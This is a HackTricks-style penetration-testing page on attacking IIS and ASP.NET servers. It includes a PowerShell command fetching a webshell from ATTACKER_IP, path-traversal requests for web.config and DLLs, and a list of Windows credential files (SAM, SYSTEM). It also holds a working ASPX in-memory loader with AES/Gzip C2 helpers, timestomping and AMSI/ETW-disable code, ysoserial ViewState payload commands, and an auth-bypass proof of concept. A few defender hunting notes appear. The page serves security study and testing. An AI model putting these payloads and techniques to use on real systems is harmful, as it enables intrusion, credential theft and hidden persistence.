// HackTricks · Network Services

IIS - Internet Information Services

IIS - Internet Information Services

Test executable file extensions:

  • asp
  • aspx
  • config
  • php

Writable webroot → ASPX command shell

If a low-privileged user/group has write access to C:\inetpub\wwwroot, you can drop an ASPX webshell and execute OS commands as the application pool identity (often holding SeImpersonatePrivilege).[1]

  • Verify ACLs: icacls C:\inetpub\wwwroot or cacls . looking for (F) on your user/group.
  • Upload a command webshell (e.g., fuzzdb/tennc cmd.aspx) using PowerShell:
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
  • Request /shell.aspx and run commands; identity typically shows iis apppool\defaultapppool.
  • Combine with Potato-family LPE (e.g., GodPotato/SigmaPotato) when the AppPool token has SeImpersonatePrivilege to pivot to SYSTEM.

Internal IP address disclosure

When an IIS deployment returns a redirect, try removing the Host header and sending HTTP/1.0. A misconfigured response may place an internal IP address in the Location header:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Response disclosing the internal IP:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Execute .config files

If an application lets you upload a .config file into a served directory, an IIS web.config may be usable for code execution. One technique appends the payload inside an HTML comment: download an example here.

More information and techniques to exploit this vulnerability here[2]

IIS discovery and brute force

Passive discovery and active fingerprinting

Before brute-forcing, try to identify IIS/ASP.NET hosts passively:[3]

ssl:"target.com" http.title:"IIS"
ssl.cert.subject.CN:"target.com" http.title:"IIS"
org:"target" http.title:"IIS"
site:target.com intitle:"IIS Windows Server"
site:target.com inurl:aspnet_client
site:target.com inurl:_vti_bin
site:target.com ext:aspx | ext:ashx | ext:asmx

Also check the response headers directly or at scale:

nc -v target.com 80
openssl s_client -connect target.com:443
httpx -l targets.txt -td | grep IIS | tee iis-targets.txt

Server: Microsoft-IIS/<version> and X-Powered-By: ASP.NET are the common giveaways.

Download the list that I have created:

Iisfinal.Txt

It was created merging the contents of the following lists:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Use it without adding extensions; entries that need an extension already include one.

IIS-specific files and extensions worth fuzzing

Generic lists usually miss interesting .NET artifacts. Prioritise paths such as:

/web.config
/web.config.bak
/web.config.old
/web.config.txt
/global.asax
/trace.axd
/elmah.axd
/connectionstrings.config
/appsettings.json
/appsettings.Development.json
/appsettings.Staging.json
/appsettings.Production.json
/appsettings.Local.json
/secrets.json
/WS_FTP.LOG
/_vti_pvt/service.cnf

Useful IIS extensions to add during content discovery: .asp,.aspx,.ashx,.asmx,.wsdl,.wadl,.config,.xml,.zip,.txt,.dll,.json

ffuf -u https://target.com/FUZZ -w iis-wordlist.txt \
  -e .asp,.aspx,.ashx,.asmx,.config,.json,.xml,.zip,.bak,.txt \
  -mc 200,301,302,403 -fs 0

IIS is case-insensitive, so normalise custom lists first:

tr '[:upper:]' '[:lower:]' | sort -u

Path Traversal

Leaking source code

Check the full writeup in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html[4]

[!TIP] In summary, an application may contain several web.config files with references to assembly identities and namespaces. This information can reveal where binaries are located so you can download them.
Decompiling downloaded DLLs can expose additional namespaces. Probe the corresponding directories for more web.config files, namespaces, and assembly identities.
Also, the files connectionstrings.config and global.asax may contain interesting information.

In .Net MVC applications, the web.config file plays a crucial role by specifying each binary file the application relies on through “assemblyIdentity” XML tags.

Exploring Binary Files

An example of accessing the web.config file is shown below:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

This request reveals various settings and dependencies, such as:

  • EntityFramework version
  • AppSettings for webpages, client validation, and JavaScript
  • System.web configurations for authentication and runtime
  • System.webServer modules settings
  • Runtime assembly bindings for numerous libraries like Microsoft.Owin, Newtonsoft.Json, and System.Web.Mvc

These settings indicate that certain files, such as /bin/WebGrease.dll, are located within the application’s /bin folder.

Root Directory Files

Files found in the root directory, like /global.asax and /connectionstrings.config (which contains sensitive passwords), are essential for the application’s configuration and operation.

Namespaces and Web.Config

MVC applications also define additional web.config files for specific namespaces to avoid repetitive declarations in each file, as demonstrated with a request to download another web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Downloading DLLs

The mention of a custom namespace hints at a DLL named “WebApplication1” present in the /bin directory. Following this, a request to download the WebApplication1.dll is shown:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

This suggests the presence of other essential DLLs, like System.Web.Mvc.dll and System.Web.Optimization.dll, in the /bin directory.

In a scenario where a DLL imports a namespace called WebApplication1.Areas.Minded, an attacker might infer the existence of other web.config files in predictable paths, such as /area-name/Views/, containing specific configurations and references to other DLLs in the /bin folder. For example, a request to /Minded/Views/web.config can reveal configurations and namespaces that indicate the presence of another DLL, WebApplication1.AdditionalFeatures.dll.

Cookieless session path confusion → /bin DLL disclosure

Legacy ASP.NET cookieless sessions accept path segments like (S(X)). IIS strips those segments during normalisation, which can sometimes expose DLLs from /bin even when direct access is denied:[3]

GET /(S(X))/b/(S(X))in/Newtonsoft.Json.dll
GET /(S(X))/b/(S(X))in/WebApplication1.dll
GET /(S(X))/b/(S(X))in/App_Code.dll

After downloading an application DLL, decompile it with dnSpy / dotPeek to recover controllers, routes, hardcoded credentials, API keys, and custom auth logic. Combine this with leaked web.config / Views/web.config files and the ASP.NET ViewState exploitation notes if you recover <machineKey> values.

Common files

From here[5]

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

If you see an error like the following one:

Common files - HTTPAPI 2.0 404 Error: If you see an error like the following one

This usually means that the server did not receive the expected domain name in the Host header.
Inspect the served TLS certificate for domain or subdomain names. If it does not identify the site, you may need to brute-force virtual hosts until you find the correct one.

ffuf -u https://TARGET_IP/ -H 'Host: FUZZ.target.com' -w vhosts.txt -fs 0

Reverse proxy / IIS path normalisation confusion

If IIS is behind a reverse proxy or WAF, test whether the proxy and IIS canonicalise the path differently:[3]

/anything/..%2fadmin/

A front proxy may evaluate the request as /anything/, while IIS decodes %2f into /, resolves .., and serves /admin/. This is especially useful against path-based ACLs, admin panels, and internal-only routes.

Decrypt encrypted configuration and ASP.NET Core Data Protection key rings

Two common patterns for protecting secrets in IIS-hosted .NET applications are:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) for web.config sections such as <connectionStrings>.
  • ASP.NET Core Data Protection key rings persisted locally and used to protect application secrets and cookies.

If you have filesystem or interactive access on the web server, co-located keys often allow decryption.

  • ASP.NET (Full Framework) – decrypt protected config sections with aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – look for Data Protection key rings stored locally (XML/JSON files) under locations like:
    • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
    • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
    • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

With the key ring available, an operator running in the app’s identity can instantiate an IDataProtector with the same purposes and unprotect stored secrets. Misconfigurations that store the key ring with the app files make offline decryption trivial once the host is compromised.

Harvesting IIS configuration and credentials with ApplicationHost.config / AppCmd

ApplicationHost.config is the root IIS configuration file and usually lives at %windir%\system32\inetsrv\config\applicationHost.config.[6] Once you get local code execution on the server, enumerate it before dropping more tooling because it often reveals:

  • hidden site bindings / internal hostnames
  • applications mapped outside C:\inetpub\wwwroot
  • custom application-pool identities
  • virtual-directory credentials
  • globally registered native modules and per-app handlers/modules

Passwords stored there are usually encrypted at rest when configured through IIS Manager / AppCmd, but the local IIS management path can still return the decrypted values.

:: Site / app / vdir mapping
%windir%\system32\inetsrv\appcmd.exe list site /config
%windir%\system32\inetsrv\appcmd.exe list app /config
%windir%\system32\inetsrv\appcmd.exe list vdir /config

:: App-pool identities / credentials
%windir%\system32\inetsrv\appcmd.exe list apppool /text:name
%windir%\system32\inetsrv\appcmd.exe list apppool "DefaultAppPool" /text:processModel.identityType
%windir%\system32\inetsrv\appcmd.exe list apppool "DefaultAppPool" /text:processModel.userName
%windir%\system32\inetsrv\appcmd.exe list apppool "DefaultAppPool" /text:processModel.password

:: Virtual-directory credentials
%windir%\system32\inetsrv\appcmd.exe list vdir "Default Web Site/" /text:userName
%windir%\system32\inetsrv\appcmd.exe list vdir "Default Web Site/" /text:password

If you already have command execution as the IIS worker, also review applicationHost.config directly to harvest bindings, physical paths, and module registrations that may not be obvious from the current site only. Don’t stop at the live file: IIS also keeps configuration history by default under %SystemDrive%\inetpub\history, so older CFGHISTORY_* snapshots may preserve previous bindings, paths, usernames, or encrypted password blobs even after admins cleaned the active config. Quick triage:

%windir%\system32\inetsrv\appcmd.exe list backups
dir /b C:\inetpub\history
dir /s /b C:\inetpub\history\applicationHost.config

For broader post-exploitation loot after OS execution, check Windows Local Privilege Escalation.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.[7]

Key building blocks:

  • ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., “STAR”) for chunking.
  • Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
  • Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.[17]

Minimal ASPX loader pattern:

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
    // 1) Obtain payload bytes (hard‑coded blob or from request)
    string b64 = /* hardcoded or Request["d"] */;
    byte[] blob = Convert.FromBase64String(b64);
    // optional: decrypt here if AES is used
    using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
        using(var ms = new MemoryStream()){
            gz.CopyTo(ms);
            var asm = Assembly.Load(ms.ToArray());
            // 2) Invoke the managed entry point (e.g., ServerRun.Run)
            var t = asm.GetType("ServerRun");
            var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
            object inst = m.IsStatic ? null : Activator.CreateInstance(t);
            m.Invoke(inst, new object[]{ HttpContext.Current });
        }
    }
}
</script>

Packing/crypto helpers (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
    using(var aes = Aes.Create()){
        aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
        ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
        return t.TransformFinalBlock(data, 0, data.Length);
    }
}

static string Pack(object obj, byte[] key){
    // serialize → gzip → AES‑ECB → Base64
    byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
    using var ms = new MemoryStream();
    using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
    byte[] enc = AesEcb(ms.ToArray(), key, true);
    return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
    byte[] enc = Convert.FromBase64String(b64);
    byte[] cmp = AesEcb(enc, key, false);
    using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
    using var outMs = new MemoryStream(); gz.CopyTo(outMs);
    return Deserialize<T>(outMs.ToArray());
}

Cookie/session flow and command surface

  • Session bootstrap and tasking are carried via cookies to blend with normal web activity.
  • Commands observed in the wild included: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; and dynamic execution primitives code_self, code_pid, run_code for in‑memory .NET execution.

Timestomping utility

File.SetCreationTime(path, ts); 
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Inline AMSI/ETW disable before Assembly.Load (loader variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • Single, odd ASPX page with very long Base64/Gzip blobs; cookie‑heavy posts.
  • Unbacked managed modules inside w3wp.exe; strings like Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Repeated delimiters like “STAR” in traffic; mismatched or even future timestamps on ASPX/assemblies.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

Many ASP.NET apps embed Telerik UI for ASP.NET AJAX and expose the unauthenticated handler Telerik.Web.UI.WebResource.axd. When the Image Editor cache endpoint is reachable (type=iec), the parameters dkey=1 and prtype enable unsafe reflection that executes any public parameterless constructor pre‑auth. This yields a universal DoS primitive and can escalate to pre‑auth RCE on apps with insecure AppDomain.AssemblyResolve handlers.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Enumerating IIS modules and handlers

Malicious or simply forgotten IIS modules/handlers are a recurring high-value finding: they expand the request pipeline, can introduce pre-auth attack surface, and are also a common stealth persistence mechanism once an attacker gets admin on the server. Native global modules are registered in ApplicationHost.config, while app-specific managed modules and handlers often live in web.config.

:: Global native modules
%windir%\system32\inetsrv\appcmd.exe list config /section:system.webServer/globalModules

:: Per-site modules / handlers
%windir%\system32\inetsrv\appcmd.exe list config "Default Web Site/" /section:system.webServer/modules
%windir%\system32\inetsrv\appcmd.exe list config "Default Web Site/" /section:system.webServer/handlers

:: Fast triage for custom assemblies under the app root
 dir /s /b C:\inetpub\wwwroot\bin\*.dll

Interesting hits include:

  • custom DLLs loaded from an app bin\ directory
  • handlers for *.ashx, *.axd, WebDAV verbs, upload endpoints, or diagnostic pages
  • third-party modules registered globally but enabled only for one application
  • modules mapped through appcmd install module instead of normal app deployment
  • assemblies parked in %windir%\Microsoft.NET\assembly\ (GAC) and then referenced from IIS registration

Once you have admin on the server, a malicious module is often quieter than an ASPX webshell because it runs inside the legitimate IIS pipeline and can trigger only for a specific cookie, URL, header, or User-Agent. Real intrusions have used both managed modules and GAC-registered assemblies mapped into w3wp.exe, so if a registration points outside the app folder, treat it as suspicious until proven otherwise.

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

You can try to enumerate folders and files inside every discovered folder (even if it’s requiring Basic Authentication) using this technique.
The main limitation of this technique if the server is vulnerable is that it can only find up to the first 6 letters of the name of each file/folder and the first 3 letters of the extension of the files.

You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Old IIS vulnerabilities worth looking for - Microsoft IIS tilde character “ ” Vulnerability/Feature – Short File/Folder Name Disclosure: You can use...

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf[8]

You can also use metasploit: use scanner/http/iis_shortname_scanner

A nice idea to find the final name of the discovered files is to ask LLMs for options like it’s done in the script https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

You can also use more modern tooling such as shortscan:[9]

shortscan https://target.com/ -F -p 1

Once you have fragments such as SITEBA~1.ZIP or WEB~1.CON, build a targeted wordlist instead of guessing blindly:[10]

  • Search GitHub paths for matching prefixes/extensions (for example path:/global*.asa or path:/connec*.config).
  • Query BigQuery’s public GitHub dataset for real filenames matching the 8.3 prefix.
  • Brute-force only the missing suffixes and separators with ffuf.
SELECT DISTINCT path
FROM `bigquery-public-data.github_repos.files`
WHERE REGEXP_CONTAINS(path, r'(?i)(\/siteba[a-z0-9]+\.zip|^siteba[a-z0-9]+\.zip)')
LIMIT 1000
ffuf -w wordlist.txt -u https://target.com/desktoFUZZ.zip -mc 200,301,302,403
ffuf -w wordlist.txt -u https://target.com/desktop-FUZZ.zip -mc 200,301,302,403
ffuf -w wordlist.txt -u https://target.com/desktop_FUZZ.zip -mc 200,301,302,403
ffuf -w wordlist.txt -u https://target.com/desktop%20FUZZ.zip -mc 200,301,302,403
ffuf -w wordlist.txt -u https://target.com/desktopFUZZ.zip -mc 200,301,302,403

The recovered names often lead to high-value files such as web.config, global.asax, archives, or custom admin directories. If the shortname-derived path becomes reachable via a file-read bug, continue with the file inclusion/path traversal methodology.

Basic Authentication bypass

Bypass a basic authentication (IIS 7.5) trying to access: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

You can try to mix this vulnerability and the last one to find new folders and bypass the authentication.

ASP.NET Trace.AXD enabled debugging

ASP.NET includes request tracing, commonly exposed through trace.axd when enabled.[11]

It keeps a very detailed log of all requests made to an application over a period of time.

This information includes remote client IP’s, session IDs, all request and response cookies, physical paths, source code information, and potentially even usernames and passwords.[11]

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

IIS upload quirks

If an upload filter only blocks .asp / .aspx, IIS may still serve attacker-controlled content from other extensions. For general upload methodology see this page, but the IIS-specific checks are:[3]

  • HTML-rendered extensions for stored XSS: .cer, .hxt, .htm
  • XML/XSS-capable extensions: .dtd, .mno, .vml, .xsl, .xht, .svg, .xml, .xsd, .xsf, .svgz, .xslt, .wsdl, .xhtml
  • SSI extensions worth testing for server-side processing: .stm, .shtm, .shtml
  • Trailing-dot normalisation bypasses: shell.aspx., shell.aspx.., shell.aspx...

A successful web.config or executable upload can escalate directly to RCE; otherwise these extensions are still useful for stored XSS and phishing content hosted on the target domain.

HTTP Parameter Pollution / WAF bypass

ASP.NET often concatenates duplicate parameter values with commas, so try splitting blocked payloads across repeated parameters:[3]

https://target.com/page?param=<svg/&param=onload=alert(1)>

This is useful when a WAF inspects each fragment independently but the backend later rebuilds the dangerous input. See the generic parameter pollution page for more parsing behaviours.

ASPXAUTH uses the following info:

  • validationKey (string): hex-encoded key to use for signature validation.
  • decryptionMethod (string): (default “AES”).
  • decryptionIV (string): hex-encoded initialization vector (defaults to a vector of zeros).
  • decryptionKey (string): hex-encoded key to use for decryption.

However, some people will use the default values of these parameters and will use as cookie the email of the user. Therefore, if you can find a web using the same platform that is using the ASPXAUTH cookie and you create a user with the email of the user you want to impersonate on the server under attack, you may be able to use the cookie from the second server in the first one and impersonate the user.
This attacked worked in this writeup.[12]

If a web.config / machine.config leak, backup disclosure, path traversal, or local shell gives you a <machineKey>, treat it as active RCE / impersonation material and not only as a secret leak. The same validationKey / decryptionKey pair can usually be reused to:

  • forge malicious __VIEWSTATE payloads
  • decrypt or forge .ASPXAUTH / ASP.NET application cookies
  • pivot across sibling IIS nodes that reuse the same static keys

In 2025, Microsoft documented real intrusions abusing publicly disclosed ASP.NET machine keys, and reported identifying more than 3,000 exposed keys in public sources.[13] Therefore, if you recover one key pair from a single app, test whether the same keys are reused across the rest of the farm.

# Try known/public keys first
badsecrets --url https://target.example/app/login.aspx

# If you already know the real keys, generate a ViewState payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "whoami" \
  --path="/app/login.aspx" --apppath="/" \
  --validationalg="SHA1" --validationkey="<VALIDATION_KEY>" \
  --decryptionalg="AES" --decryptionkey="<DECRYPTION_KEY>"

For the legacy vs .NET 4.5+ details, __VIEWSTATEGENERATOR, ViewStateUserKey, split ViewState, and known-key bruteforce workflows, check Exploiting __VIEWSTATE and Exploiting __VIEWSTATE Knowing the Secret.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

The full report explains that the affected code did not properly validate the submitted password. An attacker whose password hash collides with a key already in the cache could therefore log in as that user.[14]

# script for sanity check
> type test.py
def HashString(password):
    j = 0
    for c in map(ord, password):
        j = c + (101*j)&0xffffffff
    return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

HTTP.sys HTTPS header-line fragmentation

When IIS or another Windows service is backed by HTTP.sys over HTTPS, remember that TLS record boundaries can become parser-relevant boundaries. SChannel decrypts each TLS application-data record independently and HTTP.sys may account for each decrypted record as a different internal receive buffer instead of as one normalized byte stream.[15][16]

Why this matters

If the target parses HTTP/1.x headers and fully consumes each buffer without merging it, an attacker can try to force a near 1:1 mapping between TLS records and internal buffer references by sending:

  • one complete header line per TLS record
  • each line terminated with CRLF
  • a single long-lived HTTPS request

This is useful when the backend keeps per-buffer metadata during header parsing. In the 2026 HTTP.sys bug, that metadata growth reached an integer overflow condition in the array capacity field, which later caused a tiny reallocation + oversized memmove kernel pool overflow.[15][16]

Practical exploitation notes

  • This technique was HTTPS-only because plaintext HTTP is more likely to be coalesced/merged before the parser sees separate buffers.[15][16]
  • The vulnerable path was HTTP/1.x header parsing. HTTP/2 / HTTP/3 and HTTP body parsing did not hit the same logic.
  • Exploitation required tens of thousands of tiny header lines split across TLS records, so very large request-header limits were needed.
  • For HTTP.sys specifically, check HKLM\SYSTEM\CurrentControlSet\Services\HTTP\Parameters\MaxRequestBytes.
    • Default 16384 bytes is typically too small.
    • A value >= 262144 makes this specific header-count amplification path reachable.
    • Keeping it <= 65535 was documented as a conservative mitigation for unpatched systems.

Detection ideas

  • Best signal: decrypt HTTPS and flag HTTP/1.x requests with more than ~1000 header lines.[15][16]
  • Fallback heuristic: on one TLS connection, alert on more than ~1000 short application-data records carrying small payloads.
  • Supplemental signal: suspiciously long-lived HTTPS connections repeatedly feeding tiny records.

This is a good example of a broader review rule: if a protocol stack processes decrypted data per TLS record, record fragmentation may become an attacker-controlled primitive for parser-state manipulation, metadata exhaustion, or triggering narrow-field growth bugs.

References